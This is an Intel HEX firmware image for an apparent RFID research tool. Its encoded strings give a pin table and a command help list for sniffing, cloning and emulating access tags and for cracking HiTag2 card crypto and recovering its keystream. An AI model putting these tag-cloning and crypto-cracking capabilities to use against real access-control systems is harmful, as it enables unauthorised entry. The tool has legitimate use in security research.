:10fca80020203539202020202020202020202052ec
:10fcb8004132202020202020202020204943204697
:10fcc80072657175656e637920494e202020202069
:10fcd800202020204d65617375726520496e64751a
:10fce8006374616e63652f43617061636974616eeb
:10fcf80063650d0a000000002020363020202020f7
:10fd08002020202020202052413420202020202084
:10fd1800202020204f522d494e2d412020202020e8
:10fd28002020202020202020202020204f757470a3
:10fd380075742066726f6d205363686d69747420e2
:10fd48007472696767657220410d0a002020363198
:10fd58002020202020202020202020524135202033
:10fd680020202020202020204f522d494e2d422097
:10fd7800202020202020202020202020202020207b
:10fd88004f75747075742066726f6d205363686d5b
:10fd9800697474207472696767657220420d0a007d
:10fda80020203637202020202020202020202052ec
:10fdb8004131352020202020202020204c45443669
:10fdc800202020202020202020202020202020202b
:10fdd8002020202055736572204c454420576869bf
:10fde80074650d0a000000002020363620202020ef
:10fdf8002020202020202052413134202020202083
:10fe08002020202052454c4159202020202020200d
:10fe1800202020202020202020202020446f6f72c6
:10fe28002052656c61790d0a0000000020203236ee
:10fe380020202020202020202020205242362f5011
:10fe480047432020202020205047432020202020e6
:10fe5800202020202020202020202020202020209a
:10fe680050726f6772616d20436c6f636b0d0a008f
:10fe7800202032372020202020202020202020521f
:10fe880042372f5047443220202020205047443208
:10fe9800202020202020202020202020202020205a
:10fea8002020202050726f6772616d204461746158
:10feb80020320d0a000000002020333320202020ab
:10fec80020202020202020524239202020202020bd
:10fed80020202020532f4320564343202020202039
:10fee80020202020202020202020202049534f2d72
:10fef8003738313620536d617274636172642056ed
:10ff080043430d0a00000000202033352020202024
:10ff180020202020202020524231312f414e3131e3
:10ff280020202020416e616c6f67756520494e2046
:10ff380020202020202020202020202052656164bd
:10ff4800657220616e616c6f6775652064617461ac
:10ff58000d0a0000202034312020202020202020dd
:10ff6800202020524231322f414e31322020202091
:10ff7800416e616c6f677565204c4f5720494e2064
:10ff88002020202020202020566f6c746167652077
:10ff980064697669646572204c4f5720616e616ca4
:10ffa8006f67756520646174610d0a002020343222
:10ffb8002020202020202020202020524231332fb2
:10ffc800414e313320202020416e616c6f6775658a
:10ffd800204849474820494e202020202020202022
:10ffe800566f6c7461676520646976696465722010
:10fff8004849474820616e616c6f67756520646188
:020000041d02db
:1000080074610d0a000000002020303620202020d6
:100018002020202020202052433120202020202072
:1000280020202020444542554731202020202020f0
:100038002020202020202020202020204c6f6769ad
:100048006320416e616c79736572204465627567df
:100058002050696e20310d0a000000002020303742
:100068002020202020202020202020524332202021
:10007800202020202020202044454255473220209f
:100088002020202020202020202020202020202068
:100098004c6f67696320416e616c797365722044a7
:1000a800656275672050696e20320d0a00000000f5
:1000b80020203038202020202020202020202052de
:1000c8004333202020202020202020204445425552
:1000d80047332020202020202020202020202020de
:1000e800202020204c6f67696320416e616c797312
:1000f80065722044656275672050696e20330d0a69
:10010800000000002020303920202020202020203e
:100118002020205243342f534449312020202020ce
:1001280053445f434152445f5258202020202020ee
:10013800202020202020202053504920525820667b
:100148006f7220534420436172640d0a000000005e
:10015800202037322020202020202020202020523c
:1001680044302f53444f31202020202053445f43f4
:100178004152445f54582020202020202020202055
:100188002020202053504920545820666f72205355
:100198004420436172640d0a0000000020203736b5
:1001a80020202020202020202020205244312020e0
:1001b8002020202020202020532f4320434c4b2058
:1001c8002020202020202020202020202020202027
:1001d80049534f2d3738313620536d61727463613e
:1001e800726420436c6f636b0d0a00002020373760
:1001f800202020202020202020202052443220208f
:10020800202020202020202057494547414e445f88
:10021800315f4f55542020202020202020202020ee
:1002280057696567616e642031202f20436c6f63c6
:100238006b20262044617461202d20436c6f636b12
:10024800204f55540d0a0000202037382020202048
:10025800202020202020205244332020202020202d
:100268002020202057494547414e445f305f4f5575
:100278005420202020202020202020205769656736
:10028800616e642030202f20436c6f636b20262022
:1002980044617461202d2044617461204f55540dd0
:1002a8000a00000020203831202020202020202093
:1002b80020202052443420202020202020202020cc
:1002c8005245414445522d434c4f434b202020205a
:1002d8002020202020202020526561646572204360
:1002e8004f494c20434c4f434b0d0a0020203832d5
:1002f800202020202020202020202052443520208b
:10030800202020202020202057494547414e445f87
:10031800305f494e2020202020202020202020202f
:1003280057696567616e642030202f20436c6f63c6
:100338006b20262044617461202d20446174612063
:10034800494e0d0a000000002020383320202020cc
:100358002020202020202052443620202020202029
:100368002020202057494547414e445f315f494e80
:100378002020202020202020202020205769656769
:10038800616e642031202f20436c6f636b20262020
:100398004461746120202d20436c6f636b20494eab
:1003a8000d0a000020203638202020202020202080
:1003b80020202052443820202020202020202020c7
:1003c8005245414445522d4441544120202020208b
:1003d800202020202020202052656164657220435f
:1003e8004f494c20444154410d0a00002020363921
:1003f80020202020202020202020205244392f5f38
:10040800535331202020202053445f434152445ffe
:10041800535320202020202020202020202020206e
:100428005350492053656c656374205344204361dd
:1004380072640d0a000000002020373020202020a0
:1004480020202020202020524431302f53434b318c
:100458002020202053445f434152445f434c4b20ab
:1004680020202020202020202020202053504920f8
:10047800436c6f636b20666f722053442043617234
:10048800640d0a0020203731202020202020202041
:1004980020202052443131202020202020202020dc
:1004a8004c454437202020202020202020202020b8
:1004b80020202020202020204572726f72204c4579
:1004c80044205265640d0a0020203739202020205e
:1004d800202020202020205244313220202020209b
:1004e80020202020434c4f434b2d534e4946462055
:1004f800202020202020202020202020436c6f63f3
:100508006b20536e6966660d0a000000202034389f
:100518002020202020202020202020524431352057
:1005280020202020202020205f504f545f53485522
:1005380054444f574e2020202020202020202020c7
:10054800506f74656e74696f6d6574657220706f35
:1005580077657220636f6e74726f6c0d0a0000000d
:100568002020393320202020202020202020205225
:100578004530202020202020202020204c454434b5
:100588002020202020202020202020202020202063
:1005980020202020456d756c617465204c454420f1
:1005a8005265640d0a0000002020393420202020e4
:1005b80020202020202020524531202020202020cb
:1005c800202020204c45443320202020202020209b
:1005d800202020202020202020202020436c6f6312
:1005e8006b204c45442059656c6c6f770d0a0000f0
:1005f8002020393820202020202020202020205290
:100608004532202020202020202020204c45443224
:1006180020202020202020202020202020202020d2
:1006280020202020436f6d6d73204c45442057686f
:100638006974650d0a000000202039392020202027
:100648002020202020202052453320202020202038
:10065800202020204c45443120202020202020200c
:1006680020202020202020202020202055534220f8
:100678004c454420477265656e0d0a0020203033d2
:1006880020202020202020202020205245352020f6
:100698002020202020202020444542554734202077
:1006a8002020202020202020202020202020202042
:1006b8004c6f67696320416e616c79736572204481
:1006c800656275672050696e20340d0a00000000cd
:1006d80020203034202020202020202020202052bc
:1006e8004536202020202020202020205553455208
:1006f8005f425554544f4e20202020202020202097
:10070800202020205573657220646566696e6564d3
:1007180020627574746f6e0d0a0000002020303559
:100728002020202020202020202020524537202053
:100738002020202020202020424f4f544c4f41445d
:1007480045525f425554544f4e20202020202020ef
:10075800426f6f746c6f616465722073656c65635a
:100768007420627574746f6e0d0a00002020313891
:100778002020202020202020202020524538202002
:100788002020202020202020532f43205253542063
:100798002020202020202020202020202020202051
:1007a80049534f2d3738313620536d617274636168
:1007b80072642052657365740d0a00002020313977
:1007c80020202020202020202020205245392020b1
:1007d80020202020202020205245414445522d43ee
:1007e8004c4f434b2d454e41424c45202020202064
:1007f8005472692d537461746520636c6f636b2048
:1008080073656c6563740d0a00000000202038379a
:100818002020202020202020202020524630202068
:10082800202020202020202053445f434152445f51
:100838004445542020202020202020202020202033
:1008480053442043617264204465746563740d0adf
:1008580000000000202038382020202020202020e0
:100868002020205246312020202020202020202017
:1008780053445f434152445f57502020202020209a
:10088800202020202020202053442043617264200f
:1008980057726974652050726f7465637420287587
:1008a8006e75736564290d0a00000000202035323a
:1008b80020202020202020202020205246322020c6
:1008c8002020202020202020532f43205258202051
:1008d8002020202020202020202020202020202010
:1008e80049534f2d3738313620536d617274636127
:1008f80072642052580d0a00202035312020202013
:10090800202020202020205246332f55534249448e
:1009180020202020555342494420202020202020f8
:10092800202020202020202020202020555342490c
:10093800440d0a00202034392020202020202020a7
:100948002020205246342f53444934202020202090
:100958005350493420494e20202020202020202098
:100968002020202020202020506f74656e74696f2d
:100978006d65746572204461746120494e0d0a00ea
:100988002020353020202020202020202020205208
:1009980046352f53444f34202020202053504934cb
:1009a800204f5554202020202020202020202020a7
:1009b80020202020506f74656e74696f6d657465b2
:1009c800722044617461204f55540d0a00000000e4
:1009d80020203533202020202020202020202052b5
:1009e800463820202020202020202020532f43205c
:1009f8005458202020202020202020202020202083
:100a08002020202049534f2d3738313620536d612f
:100a18007274636172642054580d0a0020203430c7
:100a28002020202020202020202020524631322f34
:100a38005f535334202020205f5350493420534cb7
:100a48004156452053454c45435420202020202022
:100a5800506f74656e74696f6d6574657220536547
:100a68006c6563740d0a0000202033392020202093
:100a780020202020202020524631332f53434b344e
:100a8800202020205350493420434c4f434b2020f2
:100a9800202020202020202020202020506f746536
:100aa8006e74696f6d6574657220436c6f636b0d4e
:100ab8000a00000020203537202020202020202078
:100ac8002020205247322f442b2020202020202075
:100ad800442b2020202020202020202020202020df
:100ae800202020202020202055534220442b0d0a6e
:100af8000000000020203536202020202020202043
:100b08002020205247332f442d2020202020202031
:100b1800442d20202020202020202020202020209c
:100b2800202020202020202055534220442d0d0a2b
:100b3800000000002020313020202020202020200c
:100b4800202020524736202020202020202020202e
:100b58004c45443520202020202020202020202003
:100b6800202020202020202052656164204c45440c
:100b780020477265656e0d0a0000000020203131a3
:100b880020202020202020202020205247372f55a9
:100b98003352582020202020434c4920554152549c
:100ba80033205258202020202020202020202020c0
:100bb8005541525420434c492f4150490d0a0000d9
:100bc80020203132202020202020202020202052c8
:100bd80047382f553354582020202020434c492093
:100be80055415254332054582020202020202020c2
:100bf800202020205541525420434c492f41504930
:100c08000d0a000020203134202020202020202020
:100c1800202020524739202020202020202020205a
:100c2800456d756c6174696f6e20434f494c202087
:100c38002020202020202020456d756c6174696f6c
:100c48006e20434f494c0d0a000000002020353427
:100c580020202020202020202020205642555320cc
:100c6800202020202020202056427573202020207c
:100c7800202020202020202020202020202020206c
:100c880055534220564275730d0a0000574945478f
:100c9800414e442d4c4541524e0000005761697445
:100ca800696e6720666f722065787465726e616c14
:100cb8002057696567616e6420726561646572209a
:100cc8002868697420616e79206b657920746f20bb
:100cd80061626f7274292e2e2e0d0a0057494547fe
:100ce800414e442d4f5554204f46460057494547dd
:100cf800414e442d4f5554204f4e0000574945470b
:100d0800414e442d52454144000000005749454793
:100d1800414e442d57524954452000005769656794
:100d2800616e6420706172616d6574657273206ea6
:100d38006f74207365742100574950450000000006
:100d480057524954452000002a000000414e414caa
:100d58004f4755455b4e5d203c23204f462053416d
:100d68004d504c45533e202020202020202020207c
:100d7800202020202020202020202020202020206b
:100d880020202020202020202053616d706c6520b9
:100d980072617720636f696c20285b4e5d6f206cf1
:100da8006f63616c20636c6f636b292026206f75fd
:100db8007470757420696e20584d4c202848455829
:100dc800290d0a0041504455203c434c412b494ec3
:100dd800532b50312b50325b2b4c432b4441544105
:100de8005d5b2b4c455d3e202020202020202020cc
:100df80020202020202020202020202020202020eb
:100e0800205472616e736d697420284845582920f2
:100e180049534f2d373831362d3420415044552011
:100e2800746f20536d617274436172642e20526531
:100e38007475726e206973205b444154415d2b3c8c
:100e48005357313e2b3c5357323e0d0a00000000e9
:100e58004150492020202020202020202020202010
:100e6800202020202020202020202020202020207a
:100e7800202020202020202020202020202020206a
:100e88002020202020202020202020202053776987
:100e980074636820746f20415049206d6f64650d3c
:100ea8000a00000041534b203c484558205549440e
:100eb8003e203c46433e203c524154453e203c5255
:100ec80045504541543e202020202020202020202d
:100ed800202020202020202020202020202020200a
:100ee80020456d756c6174652041534b2c20466913
:100ef800656c6420436c6f636b20696e2075532f9b
:100f08003130302c2044617461205261746520694d
:100f18006e2052462f6e0d0a0000000041545220e8
:100f280020202020202020202020202020202020b9
:100f380020202020202020202020202020202020a9
:100f48002020202020202020202020202020202099
:100f580020202020202020202047657420416e7307
:100f680077657220546f2052657365742066726fbe
:100f78006d20536d617274436172640d0a00000044
:100f880041555448205b484558204b45595d205be6
:100f9800424c4f434b5d2020202020202020202041
:100fa8002020202020202020202020202020202039
:100fb800202020202020202020202020204175745f
:100fc80068656e74696361746520696e204352595f
:100fd80050544f206d6f64650d0a00004155544f01
:100fe800504f542020202020202020202020202066
:100ff80020202020202020202020202020202020e9
:1010080020202020202020202020202020202020d8
:101018002020202020202020204175746f2d446539
:101028007465637420696465616c20504f54207343
:10103800657474696e672873290d0a004155544f09
:1010480052415445202020202020202020202020ec
:101058002020202020202020202020202020202088
:101068002020202020202020202020202020202078
:101078002020202020202020204175746f2d4465d9
:1010880074656374206461746120726174650d0a0b
:10109800000000004155544f52554e205b4f4646c4
:1010a800207c20434f4d4d414e44205b41524753d5
:1010b8005d5d2020202020202020202020202020ae
:1010c8002020202020202020202020202020202018
:1010d800205365742f53686f772073746172747529
:1010e8007020636f6d6d616e640d0a004155544f39
:1010f800544147202020202020202020202020206c
:1011080020202020202020202020202020202020d7
:1011180020202020202020202020202020202020c7
:101128002020202020202020204175746f2d446528
:10113800746563742054414720747970650d0a0002
:1011480042494e544f484558203c42494e3e202083
:101158002020202020202020202020202020202087
:101168002020202020202020202020202020202077
:101178002020202020202020202020202053686f9d
:10118800772042494e4152592061732048455820e2
:10119800737472696e670d0a00000000424c2020cb
:1011a8002020202020202020202020202020202037
:1011b8002020202020202020202020202020202027
:1011c8002020202020202020202020202020202017
:1011d8002020202020202020205265626f6f74205c
:1011e800696e20424f4f544c4f41444552206d6f19
:1011f80064650d0a00000000434c4920202020208f
:1012080020202020202020202020202020202020d6
:1012180020202020202020202020202020202020c6
:1012280020202020202020202020202020202020b6
:10123800202020202053776974636820746f20432e
:101248004c49206d6f64650d0a000000434f494cfe
:10125800203c484947487c4c4f573e2020202020be
:101268002020202020202020202020202020202076
:101278002020202020202020202020202020202066
:1012880020202020202020202053657420656d75a3
:101298006c61746f7220636f696c206f7574707500
:1012a8007420484947482f4c4f570d0a000000004a
:1012b800434f4e4649472020202020202020202030
:1012c8002020202020202020202020202020202016
:1012d8002020202020202020202020202020202006
:1012e8002020202020202020202020202053686f2c
:1012f800772063757272656e74204e564d20636f49
:101308006e6669670d0a0000434f4e5645525420d9
:101318003c544147545950453e202020202020204d
:1013280020202020202020202020202020202020b5
:1013380020202020202020202020202020202020a5
:101348002020202020436f6e766572742056544109
:101358004720746f20544147545950450d0a0000e6
:10136800434c4f434b48203c485a3e2020202020e5
:101378002020202020202020202020202020202065
:101388002020202020202020202020202020202055
:1013980020202020202020202020202020456e6191
:1013a800626c6520482f5720544f47474c452043cf
:1013b8004c4f434b202874696d696e677320696ec2
:1013c80020487a2c206d6178203235302c3030302e
:1013d800290d0a00434c4f434b50203c50573e20a8
:1013e8003c504552494f443e2020202020202020b8
:1013f80020202020202020202020202020202020e5
:1014080020202020202020202020202020202020d4
:1014180020456e61626c6520482f572050574d203b
:10142800434c4f434b202874696d696e677320697c
:101438006e2075532f3130302c206d617820353374
:101448002c3638372c303931290d0a00434c4f439c
:101458004b54203c504552494f443e2020202020e8
:101468002020202020202020202020202020202074
:101478002020202020202020202020202020202064
:10148800202020202020202020456e61626c6520cd
:10149800482f5720544f47474c4520434c4f434b08
:1014a800202874696d696e677320696e2075532fe3
:1014b8003130302c206d61782035332c3638372c7c
:1014c800303931290d0a0000434c4f4e45205b4806
:1014d8004558204b45597c5057445d2020202020fa
:1014e80020202020202020202020202020202020f4
:1014f80020202020202020202020202020202020e4
:101508002020202020436f707920566972747561fd
:101518006c2054414720746f2054414720286d6146
:1015280079207265717569726520617574682f6cb0
:101538006f67696e290d0a00434f5059205b54416b
:1015480047545950455d205b484558204b45597cc8
:101558005057445d202020202020202020202020bb
:101568002020202020202020202020202020202073
:101578002020202020436f70792054414720286183
:101588006e64206f7074696f6e616c6c7920636f24
:101598006e766572742920746f205669727475614d
:1015a8006c2054414720286d6179207265717569f6
:1015b800726520617574682f6c6f67696e290d0af2
:1015c800000000004445425547205b312d345d2022
:1015d8002020202020202020202020202020202003
:1015e80020202020202020202020202020202020f3
:1015f80020202020202020202020202020202020e3
:1016080020546f67676c65204445425547206c69d4
:101618006e6520737461746520286e6f206172672f
:10162800756d656e7420746f2053484f572063752d
:101638007272656e7420737461746573290d0a0083
:1016480044454255474f4646203c302d343e2020e5
:101658002020202020202020202020202020202082
:101668002020202020202020202020202020202072
:1016780020202020202020202020202020444542f7
:101688005547206f666620284c4f57292028302060
:10169800666f7220414c4c290d0a000044454255a2
:1016a800474f4e203c302d343e2020202020202043
:1016b8002020202020202020202020202020202022
:1016c8002020202020202020202020202020202012
:1016d8002020202020202020204445425547206fec
:1016e8006e2028484947482920283020666f7220f4
:1016f800414c4c290d0a00004445544543542020d0
:1017080020202020202020202020202020202020d1
:1017180020202020202020202020202020202020c1
:1017280020202020202020202020202020202020b1
:1017380020202020204465746563742065787465d2
:10174800726e616c20636c6f636b207769746820bc
:1017580052454144455220636f696c0d0a000000f0
:10176800444f4f52203c434c4f53457c4f50454ebd
:101778003e20202020202020202020202020202043
:101788002020202020202020202020202020202051
:1017980020202020202020202020202020436c6f83
:1017a8007365206f72204f70656e20444f4f522032
:1017b80052454c41590d0a0044554d50203c535454
:1017c80041525420424c4f434b3e205b454e4420ef
:1017d800424c4f434b5d20202020202020202020f9
:1017e80020202020202020202020202020202020f1
:1017f80020202020205265616420616e6420766973
:101808006577206461746120626c6f636b2873294b
:1018180020286d617920726571756972652061751e
:1018280074682f6c6f67696e290d0a00454d552045
:101838003c5549443e2020202020202020202020e4
:101848002020202020202020202020202020202090
:101858002020202020202020202020202020202080
:101868002020202020202020204f6e652d73686fb7
:101878007420656d756c61746520554944207769dd
:1018880074682063757272656e74205441472063d2
:101898006f6e6669670d0a00454d554c41544f52ad
:1018a800205b42475d20202020202020202020206f
:1018b8002020202020202020202020202020202020
:1018c8002020202020202020202020202020202010
:1018d8002020202020436f6e74696e756f75736cbd
:1018e8007920656d756c6174652056544147205b9d
:1018f8006f7074696f6e616c6c7920696e207468a2
:1019080065204261636b47726f756e645d0d0a00f6
:10191800454e434f4445203c5549443e205b544185
:1019280047545950455d2020202020202020202089
:10193800202020202020202020202020202020209f
:101948002020202020202020202020202053686fc5
:1019580077207261772048455820554944206f7296
:1019680020637265617465205654414720666f7222
:1019780020656e636f646564205549440d0a000054
:101988004558414d504c45532020202020202020f0
:10199800202020202020202020202020202020203f
:1019a800202020202020202020202020202020202f
:1019b8002020202020202020202020202053686f55
:1019c8007720736f6d6520656d756c6174696f6ed6
:1019d800206578616d706c65730d0a0046534b2065
:1019e8003c484558205549443e203c46433e203c0f
:1019f800524154453e203c535542303e203c5355bd
:101a080042313e203c5245504541543e2020202042
:101a1800202020202020202020456d756c617465d1
:101a28002046534b2c204669656c6420436c6f63d9
:101a38006b20696e2075532f3130302c204461742f
:101a480061205261746520696e2052462f6e2c0dfc
:101a58000a20202020202020202020202020202094
:101a6800202020202020202020202020202020206e
:101a7800202020202020202020202020202020205e
:101a8800202020202020202020202020202020204e
:101a98002020202020202053756220436172726923
:101aa80065727320302f3120696e2052462f6e0ddb
:101ab8000a0000004652455155454e435920202002
:101ac800202020202020202020202020202020200e
:101ad80020202020202020202020202020202020fe
:101ae80020202020202020202020202020202020ee
:101af8002053686f77207265736f6e616e7420660d
:101b080072657175656e6379206f6620636f696ca5
:101b18000d0a000048454c5020202020202020207d
:101b280020202020202020202020202020202020ad
:101b3800202020202020202020202020202020209d
:101b4800202020202020202020202020202020208d
:101b58002053686f7720746869732068656c700d0e
:101b68000a000000484558544f42494e203c484519
:101b7800583e202020202020202020202020202007
:101b8800202020202020202020202020202020204d
:101b9800202020202020202020202020202020203d
:101ba8002053686f77204845582061732042494e7a
:101bb80041525920737472696e670d0a0000000063
:101bc8004849544147322d435241434b203c4e52e1
:101bd8002f50524e3e203c41522f534543524554bc
:101be8003e202020202020202020202020202020cf
:101bf8002020202020202020202020202043726127
:101c0800636b2048695461673220636172642063a2
:101c1800727970746f2028534e4946462d50574d9f
:101c2800206669727374290d0a00000048495441fe
:101c380047322d4b455953545245414d203c4e5245
:101c48002f50524e3e203c41522f5345435245544b
:101c58003e2020202020202020202020202020205e
:101c6800202020202020202020526574726965766b
:101c78006520486954616732206361726420637229
:101c88007970746f206b657973747265616d202843
:101c9800534e4946462d50574d2066697273742934
:101ca8000d0a00004849544147322d5245414445e8
:101cb80052205b4b45595d205b535d20202020203e
:101cc800202020202020202020202020202020200c
:101cd80020202020202020202020202020202020fc
:101ce80020526561646572206d6f646520666f724d
:101cf8002063727970746f2061757468656e746999
:101d0800636174656420486954616732206f706547
:101d1800726174696f6e73202d20532073746f7213
:101d2800657320746f204e5652414d0d0a00000015
:101d38004849544147322d434c45415253544f5220
:101d48004544544147532020202020202020202093
:101d5800202020202020202020202020202020207b
:101d680020202020202020202020202020436c65b7
:101d78006172732074686520486954616732207401
:101d88006167732066726f6d204e5652414d0d0a81
:101d9800000000004849544147322d434f554e54e6
:101da80053544f524544544147532020202020206b
:101db800202020202020202020202020202020201b
:101dc800202020202020202020202020202020200b
:101dd80020446973706c61797320746865206e752e
:101de8006d626572206f662048695461673220749d
:101df8006167732073746f72656420696e204e5634
:101e080052414d0d0a0000004849544147322d4cbb
:101e180049535453544f52454454414753205b53fc
:101e2800544152545d205b454e445d2020202020c3
:101e3800202020202020202020202020202020209a
:101e48002020202020446973706c617973207468a5
:101e5800652073746f72656420746167732066729d
:101e68006f6d20535441525420746f20454e440dd9
:101e78000a0000004c4f4144202020202020202030
:101e8800202020202020202020202020202020204a
:101e9800202020202020202020202020202020203a
:101ea800202020202020202020202020202020202a
:101eb800204c6f616420636f6e6669672066726f7d
:101ec8006d204e564d0d0a004c4544203c312d36b0
:101ed8003e202020202020202020202020202020dc
:101ee80020202020202020202020202020202020ea
:101ef80020202020202020202020202020202020da
:101f08002020202020546f67676c65204c45440dc5
:101f18000a0000004c45444f4646203c302d363ed2
:101f280020202020202020202020202020202020a9
:101f38002020202020202020202020202020202099
:101f48002020202020202020202020202020202089
:101f5800204c4544206f666620283020666f72202a
:101f6800414c4c290d0a00004c45444f4e203c3052
:101f78002d363e2020202020202020202020202018
:101f88002020202020202020202020202020202049
:101f98002020202020202020202020202020202039
:101fa80020202020204c4544206f6e2028302066b9
:101fb8006f7220414c4c290d0a0000004c4f4749d4
:101fc8004e205b5057445d205b424c4f434b5d2095
:101fd80020202020202020202020202020202020f9
:101fe80020202020202020202020202020202020e9
:101ff80020202020202020202041757468656e74e0
:10200800696361746520696e2050415353574f527c
:1020180044206d6f64650d0a0000000050494e476a
:1020280020202020202020202020202020202020a8
:102038002020202020202020202020202020202098
:102048002020202020202020202020202020202088
:102058002020202020202020204b656570616c699d
:102068007665202d207072696e7473202752464958
:10207800446c6572270d0a0050494e5320202020d9
:102088002020202020202020202020202020202048
:102098002020202020202020202020202020202038
:1020a8002020202020202020202020202020202028
:1020b800202020202053686f7720776972696e6727
:1020c800206469616772616d2028616c6961733a87
:1020d80020574952455320574952494e47290d0a1e
:1020e80000000000504f54532020202020202020a2
:1020f80020202020202020202020202020202020d8
:1021080020202020202020202020202020202020c7
:1021180020202020202020202020202020202020b7
:102128002053686f7720504f54207769706572206c
:1021380073657474696e67730d0a0000504f5449d3
:102148004e43203c487c4c3e203c312d3235353eb8
:102158002020202020202020202020202020202077
:102168002020202020202020202020202020202067
:10217800202020202020202020496e6372656d6574
:102188006e7420504f540d0a00000000504f544404
:102198004543203c487c4c3e203c312d3235353e71
:1021a8002020202020202020202020202020202027
:1021b8002020202020202020202020202020202017
:1021c80020202020202020202044656372656d6532
:1021d8006e7420504f540d0a00000000504f5453a5
:1021e80045545b565d5b4e565d203c487c4c3e201a
:1021f8003c302d3235353e20202020202020202044
:1022080020202020202020202020202020202020c6
:10221800202020202020202020536574205b566f2a
:102228006c74735d5b4e6f6e20566f6c6174696c75
:10223800655d20504f542077697065720d0a000063
:1022480050534b31203c484558205549443e203c8a
:1022580046433e203c524154453e203c5355423e65
:10226800203c5245504541543e202020202020202b
:1022780020202020202020202020202020456d758f
:102288006c6174652050534b312c204669656c6431
:1022980020436c6f636b20696e2075532f3130308b
:1022a8002c2044617461205261746520696e20524b
:1022b800462f6e2c0d0a20202020202020202020b0
:1022c8002020202020202020202020202020202006
:1022d80020202020202020202020202020202020f6
:1022e80020202020202020202020202020202020e6
:1022f800202020202020202020202020537562200c
:102308004361727269657220696e2052462f6e0da4
:102318000a00000050574d203c46433e203c534c99
:102328004545503e203c57414b453e203c50573098
:102338003e203c5057313e203c4741503e203c54c3
:102348005852583e203c525854583e2020202020b5
:10235800205365742050574d20706172616d65740b
:1023680065727320666f722052574420636f6d6ddb
:10237800616e64732c204669656c6420436c6f63de
:102388006b20696e2075532f3130302c2074696da5
:10239800696e677320696e204643730d0a0000005a
:1023a80052454144203c535441525420424c4f43df
:1023b8004b3e205b454e4420424c4f434b5d202012
:1023c8002020202020202020202020202020202005
:1023d800202020202020202020202020205265613d
:1023e8006420616e642073746f7265206461746127
:1023f80020626c6f636b28732920286d61792072c5
:1024080065717569726520617574682f6c6f67698d
:102418006e290d0a00000000524541444552202013
:1024280020202020202020202020202020202020a4
:102438002020202020202020202020202020202094
:102448002020202020202020202020202020202084
:102458002020202020476f20696e746f205245414c
:10246800444552206d6f64652028636f6e74696ef1
:10247800756f75736c792061637175697265205524
:102488004944290d0a0000005245424f4f5420206c
:102498002020202020202020202020202020202034
:1024a8002020202020202020202020202020202024
:1024b8002020202020202020202020202020202014
:1024c8002020202020506572666f726d20736f6621
:1024d800742072657365740d0a000000525443201d
:1024e80020202020202020202020202020202020e4
:1024f80020202020202020202020202020202020d4
:1025080020202020202020202020202020202020c3
:1025180020202020202020202053686f772052651b
:10252800616c2054696d6520436c6f636b0d0a0004
:10253800525744203c42494e4152593e20202020c7
:102548002020202020202020202020202020202083
:102558002020202020202020202020202020202073
:102568002020202020202020202020202053656e9d
:10257800642062696e61727920636f6d6d616e644b
:102588002f646174610d0a005341564520202020b4
:102598002020202020202020202020202020202033
:1025a8002020202020202020202020202020202023
:1025b8002020202020202020202020202020202013
:1025c8002020202020536176652063757272656e25
:1025d8007420636f6e66696720746f204e564d0dc8
:1025e8000a00000053454c454354205b5549445d5f
:1025f80020202020202020202020202020202020d3
:1026080020202020202020202020202020202020c2
:1026180020202020202020202020202020202020b2
:102628002053656e642053454c45435420636f6db9
:102638006d616e640d0a00005345542042495048ac
:10264800415345203c4f4e7c4f46463e202020209b
:102658002020202020202020202020202020202072
:102668002020202020202020202020202020202062
:1026780020202020205365742042695068617365ca
:1026880020656e636f64696e670d0a0053455420b8
:1026980042495453203c424954533e202020202094
:1026a8002020202020202020202020202020202022
:1026b8002020202020202020202020202020202012
:1026c800202020202020202020536574206e756d46
:1026d800626572206f662064617461206269747338
:1026e8000d0a0000534554204643203c50455249aa
:1026f8004f443e2020202020202020202020202061
:1027080020202020202020202020202020202020c1
:1027180020202020202020202020202020202020b1
:1027280020536574204669656c6420436c6f636b45
:1027380020696e2075532f3130300d0a00000000db
:1027480053455420494e56455254203c4f4e7c4fd9
:1027580046463e2020202020202020202020202007
:102768002020202020202020202020202020202061
:102778002020202020202020202020202053657485
:10278800206461746120696e76657273696f6e0d7d
:102798000a000000534554204d414e4348455354c8
:1027a8004552203c4f4e7c4f46463e20202020205c
:1027b8002020202020202020202020202020202011
:1027c8002020202020202020202020202020202001
:1027d80020536574204d616e63686573746572205b
:1027e800656e636f64696e670d0a00005345542077
:1027f8004d4f44203c41534b7c46534b7c50534bec
:10280800313e202020202020202020202020202091
:1028180020202020202020202020202020202020b0
:10282800202020202020202020536574206d6f64f4
:10283800756c6174696f6e20736368656d650d0ae8
:10284800000000005345542050534b203c51554143
:102858004c4954593e202020202020202020202090
:102868002020202020202020202020202020202060
:102878002020202020202020202020202020202050
:1028880020536574206d696e696d756d2050534bca
:102898002070756c736520776964746820696e2090
:1028a80075530d0a00000000534554205241544509
:1028b800203c524154453e2020202020202020202a
:1028c8002020202020202020202020202020202000
:1028d80020202020202020202020202020202020f0
:1028e80020202020205365742044617461205261a7
:1028f800746520696e2052462f6e202846432f6249
:102908006974290d0a00000053455420524550456a
:102918004154203c5245504541543e20202020201f
:10292800202020202020202020202020202020209f
:10293800202020202020202020202020202020208f
:10294800202020202053657420656d756c617469a2
:102958006f6e207472616e736d697373696f6e2028
:1029680072657065746974696f6e730d0a00000092
:102978005345542053554230203c524154453e2043
:10298800202020202020202020202020202020203f
:10299800202020202020202020202020202020202f
:1029a8002020202020202020202020202053657453
:1029b8002053756220436172726965722030206409
:1029c800617461207261746520696e2052462f6eb1
:1029d800202846432f626974290d0a005345542064
:1029e80053554231203c524154453e20202020205e
:1029f80020202020202020202020202020202020cf
:102a080020202020202020202020202020202020be
:102a18002020202020202020205365742053756218
:102a2800204361727269657220312064617461208b
:102a38007261746520696e2052462f6e20284643c5
:102a48002f626974290d0a005345542053594e4387
:102a580042495453203c424954533e2020202020d0
:102a6800202020202020202020202020202020205e
:102a7800202020202020202020202020202020204e
:102a88002020202020536574206e756d62657220a9
:102a98006f662053594e4320626974730d0a000013
:102aa8005345542053594e433c302d333e203c4827
:102ab80045583e2020202020202020202020202093
:102ac80020202020202020202020202020202020fe
:102ad8002020202020202020202020202053657422
:102ae8002053594e43206279746520302d330d0ae6
:102af8000000000053455420544147203c5459508d
:102b0800453e20202020202020202020202020207a
:102b180020202020202020202020202020202020ad
:102b2800202020202020202020202020202020209d
:102b38002053657420706172616d657465727320cd
:102b4800617070726f70726961746520666f72204f
:102b580054414720545950450d0a0000534554200c
:102b680056544147203c545950453e2020202020af
:102b7800202020202020202020202020202020204d
:102b8800202020202020202020202020202020203d
:102b98002020202020202020205365742056697290
:102ba8007475616c2054414720545950450d0a00f2
:102bb800534e4946464552202020202020202020e0
